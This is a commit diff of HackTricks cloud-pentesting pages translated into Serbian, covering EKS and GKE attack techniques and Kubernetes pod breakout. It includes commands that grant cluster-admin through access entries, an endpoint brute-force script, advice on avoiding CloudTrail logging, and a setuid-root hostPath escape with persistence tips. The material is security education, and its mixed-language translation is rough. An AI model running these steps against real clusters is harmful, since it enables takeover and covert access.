Translated ['', 'src/pentesting-cloud/kubernetes-security/exposing-servi

This commit is contained in:
Translator
2026-07-09 09:20:36 +00:00
parent 78cc8fff53
commit 4d6b231030
11 changed files with 639 additions and 529 deletions
@@ -12,7 +12,7 @@ Za više informacija pogledaj
### Enumerate the cluster from the AWS Console
Ako imaš dozvolu **`eks:AccessKubernetesApi`** možeš da **pregledaš Kubernetes objekte** preko AWS EKS konzole ([Saznaj više](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
Ako imaš dozvolu **`eks:AccessKubernetesApi`** možeš **view Kubernetes objects** preko AWS EKS console ([Saznaj više](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### Connect to AWS Kubernetes Cluster
@@ -23,9 +23,9 @@ aws eks update-kubeconfig --name aws-eks-dev
```
- Ne tako lak način:
Ako možete da **dobijete token** sa **`aws eks get-token --name <cluster_name>`**, ali nemate dozvole da dobijete informacije o klasteru (describeCluster), možete da **pripremite sopstveni `~/.kube/config`**. Međutim, čak i sa tokenom, i dalje vam je potreban **url endpoint na koji da se povežete** (ako ste uspeli da dobijete JWT token iz poda, pročitajte [ovde](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**.
Ako možeš da **dobiješ token** sa **`aws eks get-token --name <cluster_name>`**, ali nemaš dozvole da dobiješ informacije o klasteru (describeCluster), možeš da **pripremiš svoj `~/.kube/config`**. Međutim, i dalje ti, iako imaš token, treba **url endpoint na koji se povezuješ** (ako si uspeo da dobiješ JWT token iz pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**.
U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam ih **našao u LaunchTemaplates userData** i takođe u **EC2 mašinama u userData**. Ove informacije možete lako da vidite u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name):
U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam ih **našao u LaunchTemaplates userData** i takođe u **EC2 mašinama u userData**. Ove informacije možeš lako da vidiš u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -70,55 +70,55 @@ provideClusterInfo: false
```
</details>
### Sa AWS na Kubernetes
### From AWS to Kubernetes
**Kreator** **EKS cluster-a** će **UVEK** moći da uđe u deo kubernetes cluster-a koji pripada grupi **`system:masters`** (k8s admin). U trenutku pisanja ovog teksta ne postoji **direktan način** da se sazna **ko je kreirao** cluster (možete proveriti CloudTrail). I ne postoji **nikakav način** da se ta **privilegija** **ukloni**.
Istorijski, **creator** **EKS cluster-a** je dobijao skriveni Kubernetes admin pristup koji nije bio vidljiv u `aws-auth`. U trenutnim EKS cluster-ima, ovo zavisi od cluster access konfiguracije. `bootstrapClusterCreatorAdminPermissions` kontroliše da li se creator dodaje kao cluster-admin access entry tokom kreiranja, a EKS access entries čine taj admin put vidljivim i mogućim za opoziv kroz EKS API. Stariji cluster-i ili cluster-i koji i dalje zavise od `aws-auth` možda i dalje imaju legacy ponašanje za creator-a, pa potvrdi `accessConfig`, izlistaj access entries, i pregledaj CloudTrail umesto da pretpostavljaš da creator uvek ima neuklonjiv `system:masters`.
#### Zloupotreba configmap
#### Abusing configmap
Tradicionalni način da se dodeli **pristup K8s-u većem broju AWS IAM korisnika ili rolova** je korišćenje **configmap-a** **`aws-auth`**.
Tradicionalan način da se dodele **access to over K8s to more AWS IAM users or roles** je korišćenje **configmap** **`aws-auth`**.
> [!WARNING]
> Zato će svako ko ima **write pristup** nad config map-om **`aws-auth`** moći da **compromise-uje ceo cluster**.
> Zato će svako ko ima **write access** nad config map-om **`aws-auth`** moći da **compromise the whole cluster**.
Za više informacija o tome kako da **dodelite dodatne privilegije IAM rolama i korisnicima** u **istom ili drugom account-u** i kako da to **zloupotrebite** za [**privesc pogledajte ovu stranicu**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Za više informacija o tome kako da **grant extra privileges to IAM roles & users** u **istom ili različitom account-u** i kako da se **abuse** ovo za [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Pogledajte i[ **ovaj sjajan**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post da biste naučili kako funkcioniše authentication IAM -> Kubernetes**.
Pogledaj i[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
#### Zloupotreba Access Entries
#### Abusing Access Entries
AWS je implementirao dodatni način da se IAM korisnicima dodeli pristup Kubernetes cluster-u kroz access entries. Ako imate dozvole `eks:CreateAccessEntry` i `eks:AssociateAccessPolicy`, možda ćete takođe moći da dodelite Kubernetes administrator ulogu svom korisniku ili određenoj roli.
AWS implementira dodatni način da se IAM korisnicima dodeli access do Kubernetes cluster-a kroz access entries. Ako imaš `eks:CreateAccessEntry` i `eks:AssociateAccessPolicy` permissions, možda ćeš takođe moći da dodeliš Kubernetes administrator role svom user-u ili određenoj role-i.
Prvo, **kreirajte access entry za svog korisnika ili rolu**:
Prvo, **create an access entry for your user or role**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
Sa tim unetim unosom, sada možda možeš direktno da mu dodeliš policy. Postoji ugrađeni AWS policy nazvan *AmazonEKSClusterAdminPolicy* koji može da se koristi direktno. Imaj na umu da, ako tvoje okruženje ima neke druge custom policies koje takođe daju elevated privileges u EKS, možeš da promeniš `--policy-arn` na bilo koji od njih:
Sa kreiranim tim unosom, sada možda možete direktno da mu dodelite policy. Postoji ugrađeni AWS policy pod nazivom *AmazonEKSClusterAdminPolicy* koji se može koristiti direktno. Imajte na umu da, ako vaše okruženje ima neke druge custom policies koje takođe daju elevated privileges u EKS, možete promeniti `--policy-arn` na bilo koji od njih:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
Možete potražiti ovu politiku u zvaničnoj AWS dokumentaciji [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
Možete pretražiti ovu politiku u AWS zvaničnoj dokumentaciji [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
Od ovog trenutka nadalje, možda ćete sada moći da zatražite *k8s* token i da komunicirate sa klasterom kao administrator:
Od ove tačke nadalje, sada možda možete da zatražite *k8s* token i da interagujete sa clusterom kao administrator:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### From Kubernetes to AWS
Moguće je omogućiti **OpenID authentication za kubernetes service account** kako bi mogli da preuzmu roles u AWS. Saznajte kako [**ovo funkcioniše na ovoj stranici**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
Moguće je omogućiti **OpenID authentication for kubernetes service account** kako bi mogli da preuzmu uloge u AWS. Saznajte kako [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### GET Api Server Endpoint from a JWT Token
Dekodiranjem JWT tokena dobijamo cluster id i region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url:
Dekodiranjem JWT tokena dobijamo cluster id i region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url is
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
Nisam pronašao nikakvu dokumentaciju koja objašnjava kriterijume za 'two chars' i 'number'. Ali, praveći neke testove sa svoje strane, vidim da se ovi često ponavljaju:
Nisam pronašao nikakvu dokumentaciju koja objašnjava kriterijume za 'two chars' i 'number'. Ali, radeći neke testove u svoje ime, video sam da se ovi ponavljaju:
- gr7
- yl4
U svakom slučaju, to su samo 3 chars i možemo ih bruteforce-ovati. Koristite skriptu ispod za generisanje liste
U svakom slučaju, to su samo 3 chars, možemo ih bruteforce-ovati. Koristite skriptu ispod za generisanje liste
```python
from itertools import product
from string import ascii_lowercase
@@ -134,7 +134,7 @@ for comb in product(letter_combinations, number_combinations)
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
Zatim sa wfuzz
Zatim sa `wfuzz`
```bash
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
```
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
### Bypass CloudTrail
Ako napadač dobije credentials AWS-a sa **permission over an EKS**. Ako napadač podesi svoj **`kubeconfig`** (bez pozivanja **`update-kubeconfig`**) kao što je ranije objašnjeno, **`get-token`** ne generiše logs u Cloudtrail jer ne interaguje sa AWS API (samo lokalno kreira token).
Ako napadač pribavi kredencijale za AWS sa **permission over an EKS**. Ako napadač konfiguriše svoj **`kubeconfig`** (bez pozivanja **`update-kubeconfig`**) kao što je ranije objašnjeno, **`get-token`** ne generiše logove u Cloudtrail jer ne interaguje sa AWS API-jem (samo lokalno kreira token).
Zato, kada napadač komunicira sa EKS clusterom, **cloudtrail neće zabeležiti ništa vezano za ukradeni user i njegov pristup**.
Zato, kada napadač komunicira sa EKS clusterom, **cloudtrail neće zabeležiti ništa što je vezano za ukradeni user i njegov pristup**.
Imajte u vidu da **EKS cluster može imati uključene logs** koji će zabeležiti ovaj pristup (iako su, podrazumevano, isključeni).
Imajte na umu da **EKS cluster može imati omogućene logove** koji će zabeležiti ovaj pristup (iako su, podrazumevano, onemogućeni).
### EKS Ransom?
Podrazumevano, **user ili role koji je kreirao** cluster će **UVEK** imati admin privileges nad clusterom. I to je jedini "secure" access koji AWS ima nad Kubernetes clusterom.
Podrazumevano, **user ili role koji je kreirao** cluster će **ALWAYS imati admin privileges** nad clusterom. I to je jedini "secure" access koji AWS ima nad Kubernetes clusterom.
Dakle, ako **napadač kompromituje cluster koristeći fargate** i **ukloni sve ostale admins** i d**obriše AWS user/role koji je kreirao** Cluster, ~~napadač bi mogao da **iznudi otkup za cluste**~~**r**.
Dakle, ako **napadač kompromituje cluster using fargate** i **ukloni sve ostale admine** i **obriše AWS user/role koji je kreirao** Cluster, ~~napadač bi mogao da **ransomuje cluste**~~**r**.
> [!TIP]
> Imajte na umu da, ako je cluster koristio **EC2 VMs**, moglo bi biti moguće dobiti Admin privileges sa **Node** i oporaviti cluster.
> Imajte na umu da, ako je cluster koristio **EC2 VMs**, možda je moguće dobiti Admin privileges sa **Node** i oporaviti cluster.
>
> Zapravo, ako cluster koristi Fargate, mogli biste EC2 nodes ili prebaciti sve na EC2 u cluster i oporaviti ga pristupanjem tokenima na node-u.
> U stvari, ako cluster koristi Fargate, mogli biste dodati EC2 node-ove ili prebaciti sve na EC2 u cluster i oporaviti ga pristupom tokenima na node-u.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Containers
## Kontejneri
U GCP containers možete pronaći većinu container-based servisa koje GCP nudi, ovde možete videti kako da enumerišete najčešće:
U GCP kontejnerima možete pronaći većinu servisa zasnovanih na kontejnerima koje GCP nudi, ovde možete videti kako da izlistate najčešće od njih:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
Na sledećoj stranici možete proveriti kako da **abuse container permissions to escalate privileges**:
Na sledećoj stranici možete proveriti kako da **zloupotrebite permissions kontejnera za eskalaciju privileges**:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -32,7 +32,7 @@ Na sledećoj stranici možete proveriti kako da **abuse container permissions to
## Node Pools
Ovo su grupe mašina (nodes) koje formiraju kubernetes klastere.
Ovo su pool mašina (nodes) koje formiraju kubernetes clusters.
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -50,25 +50,25 @@ Prvo, možete proveriti da li postoje neki Kubernetes klasteri u vašem projektu
```
gcloud container clusters list
```
Ako imate cluster, možete naterati `gcloud` da automatski konfiguriše vaš `~/.kube/config` fajl. Ovaj fajl se koristi za autentifikaciju kada koristite [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), nativni CLI za interakciju sa K8s clusterima. Pokušajte ovu komandu.
Ako imate klaster, možete naterati `gcloud` da automatski konfiguriše vaš `~/.kube/config` fajl. Ovaj fajl se koristi za autentifikaciju kada koristite [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), izvorni CLI za interakciju sa K8s klasterima. Probajte ovu komandu.
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Zatim, pogledajte `~/.kube/config` fajl da biste videli generisane kredencijale. Ovaj fajl će se koristiti za automatsko osvežavanje access tokena na osnovu istog identiteta koji koristi vaša aktivna `gcloud` sesija. Ovo, naravno, zahteva da odgovarajuće permissions budu podešene.
Zatim, pogledajte `~/.kube/config` fajl da biste videli generisane kredencijale. Ovaj fajl će se koristiti za automatsko osvežavanje access tokena na osnovu istog identiteta koji koristi vaša aktivna `gcloud` sesija. Naravno, ovo zahteva da odgovarajuće permissions budu podešene.
Kada je ovo postavljeno, možete pokušati sledeću komandu da biste dobili konfiguraciju klastera.
Kada je ovo postavljeno, možete isprobati sledeću komandu da dobijete konfiguraciju klastera.
```
kubectl cluster-info
```
Možete pročitati više o `gcloud` za containers [ovde](https://cloud.google.com/sdk/gcloud/reference/container/).
Ovo je jednostavan script za enumeraciju kubernetes u GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
Ovo je jednostavan script za enumerate kubernetes u GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Trenutne GKE identity i metadata provere
Prilikom pregleda modernih GKE klastera, razdvojite Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, i node credentials. Google principal često može da preuzme cluster endpoint podatke sa `container.clusters.get`, ali rezultujući Kubernetes requests i dalje moraju da prođu GKE/Kubernetes authorization i sve network restrictions kao što su private endpoints ili authorized networks.
Prilikom pregleda modernih GKE clusters, razdvojte Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, i node credentials. Google principal često može da preuzme cluster endpoint data sa `container.clusters.get`, ali rezultujući Kubernetes requests i dalje moraju da prođu GKE/Kubernetes authorization i sva network ograničenja kao što su private endpoints ili authorized networks.
Workload Identity Federation za GKE je preporučeni način da pods pristupaju Google Cloud APIs. Proverite da li cluster ima workload pool i da li su Kubernetes service accounts direktno mapirani kao IAM principals ili smeju da impersonate IAM service accounts:
Workload Identity Federation za GKE je preferirani način da pods pristupaju Google Cloud APIs. Proverite da li cluster ima workload pool i da li su Kubernetes service accounts mapirani direktno kao IAM principals ili im je dozvoljeno da impersonate IAM service accounts:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,17 +76,31 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Ako service account ima anotaciju `iam.gke.io/gcp-service-account`, pregledajte IAM policy service account-a za `roles/iam.workloadIdentityUser` grantove ka Kubernetes service account principal-ima. Takođe proverite IAM allow policies za direktne workload identity principal-e ili široke principal set-ove.
Ako service account ima anotaciju `iam.gke.io/gcp-service-account`, pregledaj IAM policy za service account za `roles/iam.workloadIdentityUser` grantove ka Kubernetes service account principima. Takođe proveri IAM allow policies za direktne workload identity principe ili široke `principalSet://` grantove, kao što su namespace-wide ili cluster-wide workload access. Anotacija `iam.gke.io/credential-quota-project` samo prebacuje IAM Service Account Credentials API quota na drugi project; workload principal i dalje mora imati `serviceusage.services.use` na tom quota project-u i odvojen IAM access do ciljnog resursa.
Pristup metadata-ju zavisi od cluster moda, konfiguracije node pool-a i workload podešavanja. Nemojte pretpostaviti da svaki pod može da ukrade node service account. U okruženjima sa Workload Identity, obični podovi bi trebalo da koriste GKE metadata server da dobiju workload identity namenjen njihovom Kubernetes service account-u. Kompromitovanje node-a, `hostNetwork` podovi u nekim Standard konfiguracijama i legacy izlaganje node metadata-ja i dalje mogu da promene blast radius, pa proverite stvarni node pool metadata mode, node service account, OAuth scopes i raspored podova.
Pristup metapodacima zavisi od cluster mode, node pool konfiguracije i workload podešavanja. Ne pretpostavljaj da svaki pod može da ukrade node service account. U okruženjima sa Workload Identity, obični podovi bi trebalo da koriste GKE metadata server da dobiju workload identity namenjen njihovom Kubernetes service account-u. Kompromitovanje noda, `hostNetwork` podovi u nekim Standard konfiguracijama i legacy node metadata exposure i dalje mogu da promene blast radius, zato proveri stvarni node pool metadata mode, node service account, OAuth scopes i raspored podova.
Ako pod sa omogućenim Workload Identity ne može da dobije token, proveri i NetworkPolicy egress pre nego što pretpostaviš da je IAM binding pogrešan. GKE Standard clusteri koji koriste NetworkPolicy moraju da dozvole metadata-server path potreban za cluster version i dataplane, a Dataplane V2 koristi `169.254.169.254` path za metadata-server access.
### Autopilot privileged workload allowlists
GKE Autopilot po defaultu blokira većinu privileged workloads, ali mogu postojati odobrene izuzetke. Pregledaj privileged admission settings, `AllowlistSynchronizer` objekte i instalirane `WorkloadAllowlist` objekte pre nego što pretpostaviš da je privileged pod nemoguć:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
U početku je ova tehnika privilege escalation-a omogućavala **privesc unutar GKE cluster-a**, što je napadaču efektivno omogućavalo da ga **potpuno kompromituje**.
U početku je ova tehnika privilege escalation omogućavala da se **privesc unutar GKE cluster-a**, što je napadaču praktično omogućavalo da **potpuno compromise-uje** sistem.
Razlog je što GKE u metadata-ju obezbeđuje [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), koji su **dostupni bilo kome samo kompromitovanjem poda**.
To je zato što GKE obezbeđuje [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) u metadata, koji su **dostupni bilo kome ko samo compromise-uje pod**.
Tehnika koja se koristi objašnjena je u sledećim objavama:
Tehnika koja se koristila objašnjena je u sledećim postovima:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
@@ -94,15 +108,15 @@ Tehnika koja se koristi objašnjena je u sledećim objavama:
A ovaj tool je napravljen da automatizuje proces: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Međutim, tehnika je zloupotrebljavala činjenicu da je **uz metadata credentials** bilo moguće **generisati CSR** (Certificate Signing Request) za **novi node**, koji je bio **automatski odobren**.\
U mom testu sam proverio da **ti zahtevi više nisu automatski odobreni**, tako da nisam siguran da li je ova tehnika i dalje validna.
Međutim, tehnika je zloupotrebljavala činjenicu da je **sa metadata credentials** bilo moguće **generisati CSR** (Certificate Signing Request) za **novi node**, koji je bio **automatski approved**.\
U mom testu sam proverio da **ti requestovi više nisu automatski approved**, pa nisam siguran da li je ova tehnika i dalje validna.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
U [**ovom postu**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) otkriveno je da postoji Kubelet API address dostupan iz poda u GKE, koji daje detalje o podovima koji se izvršavaju:
U [**ovom postu**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) otkriven je Kubelet API address accesible iz pod-a u GKE, koji je davao detalje o pokrenutim pod-ovima:
```
curl -v -k http://10.124.200.1:10255/pods
```
Čak i ako API **ne dozvoljava da se modifikuju resursi**, moguće je pronaći **osetljive informacije** u odgovoru. Endpoint /pods je pronađen pomoću [**Kiterunner**](https://github.com/assetnote/kiterunner).
Čak i ako API **ne dozvoljava izmenu resursa**, moguće je pronaći **osetljive informacije** u odgovoru. Endpoint /pods je pronađen pomoću [**Kiterunner**](https://github.com/assetnote/kiterunner).
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,19 +4,19 @@
## **Pod Breakout**
**Ako si dovoljno srećan, možda ćeš moći da pobegneš sa njega na node:**
**Ako imate sreće, možda ćete uspeti da pobegnete iz njega na node:**
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
Da bi pokušao da pobegneš iz podova, prvo će ti možda biti potrebno da **escalate privileges**, neke tehnike za to:
Da biste pokušali da pobegnete iz podova, možda prvo treba da **escalate privileges**, neke tehnike za to:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
Možeš da proveriš ova **docker breakouts to try to escape** iz poda koji si kompromitovao:
Možete proveriti ove **docker breakouts to try to escape** iz poda koji ste kompromitovali:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
Ako kompromitovani pod/container ima writable volume koji je direktno mapiran na host filesystem (Kubernetes hostPath ili Docker bind mount), i možeš da postaneš root unutar containera, možeš da iskoristiš mount da kreiraš setuid-root binary na hostu i zatim ga izvršiš sa hosta da dobiješ root.
Ako kompromitovani pod/container ima writable volume koji se direktno mapira na host filesystem (Kubernetes hostPath ili Docker bind mount), i možete postati root unutar container-a, možete iskoristiti mount da kreirate setuid-root binary na hostu i zatim ga izvršite sa hosta da biste dobili root.
Ključni uslovi:
- Montirani volume je writable iz containera (readOnly: false i filesystem permissions dozvoljavaju pisanje).
- Mountovani volume je writable iznutra iz container-a (readOnly: false i filesystem permissions dozvoljavaju upis).
- Host filesystem koji stoji iza mounta nije montiran sa nosuid opcijom.
- Imaš neki način da izvršiš planted binary na hostu (na primer, zaseban SSH/RCE na hostu, user na hostu može da ga izvrši, ili drugi vector koji pokreće binary-je iz te putanje).
- Imate neki način da izvršite planted binary na hostu (na primer, odvojeni SSH/RCE na hostu, user na hostu može da ga izvrši, ili drugi vector koji pokreće binaries sa te putanje).
Kako da identifikuješ writable hostPath/bind mounts:
- Sa kubectl, proveri hostPath volume-e: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Iz containera, prikaži mount-ove i potraži host-path mount-ove i testiraj writable:
Kako identifikovati writable hostPath/bind mounts:
- Sa kubectl, proverite hostPath volumene: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Iznutra iz container-a, izlistajte mounts i potražite host-path mounts i testirajte writability:
```bash
# Inside the compromised container
mount | column -t
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
Postavi setuid root binary iz kontejnera:
Postavite setuid root binary iz kontejnera:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -54,27 +54,27 @@ chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
Izvrši na hostu da dobiješ root:
Izvršite na hostu da dobijete root:
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Napomene i troubleshooting:
- Ako host mount ima nosuid, setuid bitovi će biti ignorisani. Proverite mount options na hostu (cat /proc/mounts | grep <mountpoint>) i potražite nosuid.
- Ako ne možete da dobijete host execution path, slični writable mounts mogu da se abuse-uju da se upišu drugi persistence/priv-esc artifacts na hostu ako je mapirani direktorijum security-critical (npr. dodajte root SSH key ako mount mapira u /root/.ssh, ubacite cron/systemd unit ako mapira u /etc, zamenite root-owned binary u PATH koji će host izvršiti, itd.). Izvodljivost zavisi isključivo od toga koji path je mountovan.
- Ova tehnika takođe radi sa plain Docker bind mounts; u Kubernetes-u je to obično hostPath volume (readOnly: false) ili pogrešno scoped subPath.
Notes and troubleshooting:
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
- This technique also works with plain Docker bind mounts; in Kubernetes its typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
### Abusing Kubernetes Privileges
Kao što je objašnjeno u odeljku o **kubernetes enumeration**:
As explained in the section about **kubernetes enumeration**:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Obično se podovi pokreću sa **service account token** unutar njih. Ovaj service account može imati neke **privileges** povezane sa njim koje možete **abuse** da biste se **move**-ovali do drugih podova ili čak da biste **escape**-ovali na node-ove konfigurisane unutar cluster-a. Pogledajte kako u:
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
Ako se pod pokreće unutar **cloud environment**-a, možda ćete moći da l**eak**-ujete token sa metadata endpoint-a i eskalirate privileges koristeći ga.
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
## Search vulnerable network services
Pošto ste unutar Kubernetes environment-a, ako ne možete da eskalirate privileges abuse-ovanjem trenutnih podova privileges i ne možete da escape-ujete iz kontejnera, trebalo bi da **search**-ujete potencijalno vulnerable services.
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
### Services
**Za ovu svrhu, možete pokušati da dobijete sve services Kubernetes environment-a:**
**For this purpose, you can try to get all the services of the kubernetes environment:**
```
kubectl get svc --all-namespaces
```
Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da **svaki pod/service unutar klastera može da komunicira sa drugim**. **Namespaces** unutar klastera **nemaju nikakva mrežna bezbednosna ograničenja podrazumevano**. Svako u namespace-u može da komunicira sa drugim namespaces.
Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da **svaki pod/service unutar klastera može da komunicira sa drugima**. **Namespaces** unutar klastera **podrazumevano nemaju nikakva mrežna bezbednosna ograničenja**. Svako u namespace-u može da komunicira sa drugim namespace-ovima.
### Scanning
Sledeći Bash script (preuzet iz [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) će instalirati i skenirati IP range-ove kubernetes cluster-a:
Sledeći Bash script (preuzet iz [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) će instalirati i skenirati IP opsege kubernetes klastera:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Check out the following page to learn how you could **napasti Kubernetes specific services** to **kompromitovati druge podove/sve u okruženju**:
Погledajte sledeću stranicu da biste naučili kako možete **attack Kubernetes specific services** da biste **compromise other pods/all the environment**:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
U slučaju da **kompromitovani pod pokreće neki osetljiv servis** kome drugi podovi moraju da se autentifikuju, možda ćete moći da dobijete kredencijale poslate iz drugih podova tako što ćete **sniffing lokalnih komunikacija**.
U slučaju da **compromised pod pokreće neki sensitive service** gde druge pods moraju da se autentifikuju, možda ćete moći da dobijete credentials koji se šalju od strane drugih pods **sniffing local communications**.
## Network Spoofing
